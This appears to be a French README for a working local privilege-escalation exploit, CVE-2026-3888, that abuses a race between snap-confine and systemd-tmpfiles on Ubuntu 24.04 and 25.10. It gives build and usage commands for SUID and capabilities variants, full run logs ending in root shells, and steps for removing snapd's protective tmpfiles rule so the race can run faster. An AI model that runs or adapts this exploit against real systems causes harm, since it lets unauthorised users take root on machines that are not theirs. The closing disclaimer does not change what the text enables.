
Exploit d'élévation de privilèges locale pour CVE-2026-3888 ciblant snap-confine et systemd-tmpfiles sur Ubuntu, fournissant des variantes SUID et capabilities pour obtenir un accès root.
Élévation de privilèges locale d'un utilisateur non privilégié à root complet sur Ubuntu Desktop 24.04+ en exploitant une condition de course TOCTOU entre snap-confine et systemd-tmpfiles. Deux variantes sont fournies : SUID et Capabilities.
CVSS : 7.8 (Élevé) | Avis de sécurité : Qualys | Correctif : snapd 2.74.2, 17 mars 2026
systemd-tmpfiles supprime le répertoire d'imitation .snap obsolète sous /tmp (expiration après 30 jours)snap-confine via la contre-pression de socket AF_UNIX pour gagner la course de manière fiable pendant la séquence de bind-mount d'imitationld-linux-x86-64.so.2 est remplacé par un shellcode qui appelle setreuid(0,0) + execvesnap-confine SUID déclenche le shellcode avec les privilèges root/var/snap/firefox/common/ pour s'échapper du sandbox| Fichier | Description |
|---|---|
exploit_suid.c | Exploit unifié en un seul binaire — les 7 phases dans un orchestrateur basé sur fork |
librootshell_suid.c | Charge utile — ELF minimal qui remplace ld-linux-x86-64.so.2 via des appels système x86_64 bruts |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Les deux doivent être compilés sur (ou compilés en croisé pour) Linux x86_64. exploit est lié statiquement afin de s'exécuter dans le sandbox snap sans dépendances de bibliothèques. librootshell.so utilise -nostdlib car il ne contient que des appels système bruts — pas de libc.
./exploit <librootshell.so> [-d] [-s]
| Option | Description |
|---|---|
-d | Afficher la sortie de débogage de snap-confine (mode verbeux) |
-s | Ignorer l'attente du nettoyage .snap (nécessite le mot de passe root) |
# Exécution normale
./exploit ./librootshell.so
# Mode débogage
./exploit ./librootshell.so -d
# Nouvelle tentative après échec
./exploit ./librootshell.so -s
L'exploit entre dans le sandbox, attend que systemd-tmpfiles supprime .snap (jusqu'à 10 jours sur Ubuntu 25.10 standard et jusqu'à 30 jours sur Ubuntu 24.04 standard), puis exécute la course automatiquement. En cas de succès, il ouvre un shell root.
snap-confine doit être SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer actifbusybox disponible sur la cible (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — Élévation de privilèges locale SUID snap-confine / systemd-tmpfiles
================================================================
[*] Charge utile : /home/user/./librootshell.so (9056 octets)
[Phase 1] Entrée dans le sandbox Firefox...
[+] PID du shell interne : 3122
[Phase 2] Attente de la suppression de .snap...
[*] Interrogation (jusqu'à 30 jours sur Ubuntu standard).
[*] Astuce : utilisez -s pour ignorer.
[+] .snap supprimé.
[Phase 3] Destruction de l'espace de noms de montage en cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Espace de noms détruit.
[Phase 4] Configuration et exécution de la course...
[*] Répertoire de travail : /proc/3122/cwd
[*] Construction de .snap et .exchange...
[*] 285 entrées copiées dans le répertoire d'échange
[*] Démarrage de la course...
[*] Surveillance de snap-confine (PID enfant 3543)...
[!] DÉCLENCHEMENT — échange des répertoires...
[+] ÉCHANGE TERMINÉ — course gagnée !
[*] ld-linux dans l'espace de noms : user:user 755
[+] PID de l'espace de noms empoisonné : 3543
[Phase 5] Injection de la charge utile dans l'espace de noms empoisonné...
[+] ld-linux appartient à l'uid 1000 (attaquant). Course confirmée.
[*] Installation de busybox...
[*] Écriture du script d'évasion → /tmp/sh
[*] Écrasement de ld-linux-x86-64.so.2...
[+] Charge utile injectée.
[Phase 6] Déclenchement de root via snap-confine SUID...
[*] snap-confine → snap-confine (déclencheur SUID)
[*] Statut de sortie : 0
[Phase 7] Vérification...
[+] bash root SUID : /var/snap/firefox/common/bash (mode 4755)
[*] Nettoyage des processus en arrière-plan...
================================================================
SHELL ROOT : /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles supprime le répertoire d'imitation .snap obsolète sous /tmpsnap-confine via la contre-pression de socket AF_UNIX pour gagner la course de manière fiable pendant la séquence de bind-mount d'imitation /var/lib/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab montent en bind-mount un /etc empoisonné (avec ld.so.preload) dans le sandboxsu SUID-root depuis /tmp/.snap précharge librootshell.so qui appelle setreuid(0,0) + | Fichier | Description |
|---|---|
exploit_caps.c | Exploit unifié en un seul binaire — les 7 phases dans un orchestrateur basé sur fork |
librootshell_caps.c | Charge utile — bibliothèque partagée avec constructeur qui appelle setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Les deux doivent être compilés sur (ou compilés en croisé pour) Linux x86_64. exploit est lié statiquement afin de s'exécuter dans le sandbox snap sans dépendances de bibliothèques. librootshell.so utilise -nostartfiles et un __attribute__((constructor)) — il est chargé via ld.so.preload avant le main() du binaire cible.
./exploit <librootshell.so> [-d] [-s]
| Option | Description |
|---|---|
-d | Afficher la sortie de débogage de snap-confine (mode verbeux) |
-s | Ignorer l'attente du nettoyage .snap (à utiliser lorsque .snap a déjà disparu) |
# Exécution normale
./exploit ./librootshell.so
# Mode débogage
./exploit ./librootshell.so -d
# Ignorer l'attente (nouvelle tentative)
./exploit ./librootshell.so -s
L'exploit entre dans le sandbox, attend que systemd-tmpfiles supprime .snap (jusqu'à 10 jours sur Ubuntu 25.10 standard et jusqu'à 30 jours sur Ubuntu 24.04 standard), puis exécute la course automatiquement. En cas de succès, il ouvre un shell root.
snap-confine doit avoir des capabilities (cap_sys_admin, cap_chown, cap_dac_override, etc.)snap-store installé (par défaut sur Ubuntu Desktop)core22 installésystemd-tmpfiles-clean.timer actifbusybox disponible sur la cible (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — Élévation de privilèges locale par capabilities snap-confine / systemd-tmpfiles
================================================================
[*] Charge utile : /home/user/./librootshell.so (14320 octets)
[Phase 1] Entrée dans le sandbox snap-store...
[+] PID du shell interne : 3501
[Phase 2] Attente de la suppression de .snap...
[*] Interrogation (jusqu'à 10 jours sur Ubuntu 25.10).
[*] Astuce : utilisez -s pour ignorer.
[+] .snap supprimé.
[Phase 3] Destruction de l'espace de noms de montage en cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Espace de noms détruit (.mnt disparu).
[Phase 4] Configuration et exécution de la course...
[*] Répertoire de travail : /proc/3501/cwd
[*] Construction de .snap et .exchange...
[*] 17 entrées copiées dans le répertoire d'échange
[*] Démarrage de la course...
[*] Surveillance de snap-confine (PID enfant 3678)...
[!] DÉCLENCHEMENT — échange des répertoires...
[+] ÉCHANGE TERMINÉ — course gagnée !
[+] Course gagnée. /var/lib/snapd appartient maintenant à l'utilisateur.
[Phase 5] Configuration de la charge utile et de user-fstab...
[*] Copie de /etc vers .snap/etc...
[*] Écriture de ld.so.preload...
[*] Écriture de user-fstab...
[*] Copie de librootshell.so vers /tmp/...
[*] Copie de busybox...
[*] Écriture du script d'évasion...
[*] Échange de var/lib en retour (restauration des métadonnées snapd d'origine)...
[+] Charge utile prête.
[Phase 6] Déclenchement de root via le binaire SUID dans /tmp/.snap...
[*] Exécution : snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Statut de sortie : 0
[Phase 7] Vérification...
[+] bash root SUID : /var/snap/snap-store/common/bash (mode 4755)
[*] Nettoyage des processus en arrière-plan...
================================================================
SHELL ROOT : /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
Sur une installation Ubuntu standard, le nettoyage de .snap prend 30 jours (24.04) ou 10 jours (25.10). Pour accélérer cela lors des tests, réduisez l'âge de /tmp et l'intervalle du minuteur :
Modifiez /usr/lib/tmpfiles.d/tmp.conf (en tant que root) :
# Changez l'âge de 30d à 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Vérifiez :
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Devrait afficher : q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Vérifiez :
systemctl list-timers systemd-tmpfiles-clean
# La colonne NEXT devrait afficher ~1 minute à partir de maintenant
snapd 2.73+ ajoute une règle d'exclusion qui empêche tmpfiles de nettoyer .snap. Si votre système en possède une, vérifiez et supprimez-la :
cat /usr/lib/tmpfiles.d/snapd.conf
# Si vous voyez : x /tmp/snap-private-tmp/*/tmp/.snap
# Supprimez cette ligne, ou rétrogradez vers snapd 2.71.1
Avec ces paramètres, .snap sera nettoyé en ~5 minutes après son expiration, permettant une itération rapide pendant les tests.
Ce code est fourni strictement à des fins éducatives, de recherche en sécurité autorisée et d'engagements de tests d'intrusion où une autorisation écrite explicite a été obtenue. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. En utilisant ce code, vous acceptez d'être seul responsable de vos actions et de toute conséquence découlant de son utilisation. N'utilisez pas ce code contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Snap cible | firefox | snap-store |
| Imitation de la cible | /usr/lib/x86_64-linux-gnu (~285 entrées) | /var/lib (~17 entrées) |
| Vecteur d'exploitation | Écrasement de ld-linux-x86-64.so.2 avec du shellcode | Contrôle de user-fstab + ld.so.preload |
| Format de la charge utile | ELF statique avec appels système bruts | Bibliothèque partagée avec __attribute__((constructor)) |
| Déclencheur root | Le snap-confine SUID charge le lieur dynamique empoisonné | Le su SUID dans /tmp/.snap précharge le .so |
| Exigence cgroup | Tout nom snap.* | Correspondance exacte : snap.snap-store.hook.configure |
Nettoyage .snap | 30 jours | 10 jours |
| Évasion du sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ pour s'échapper du sandbox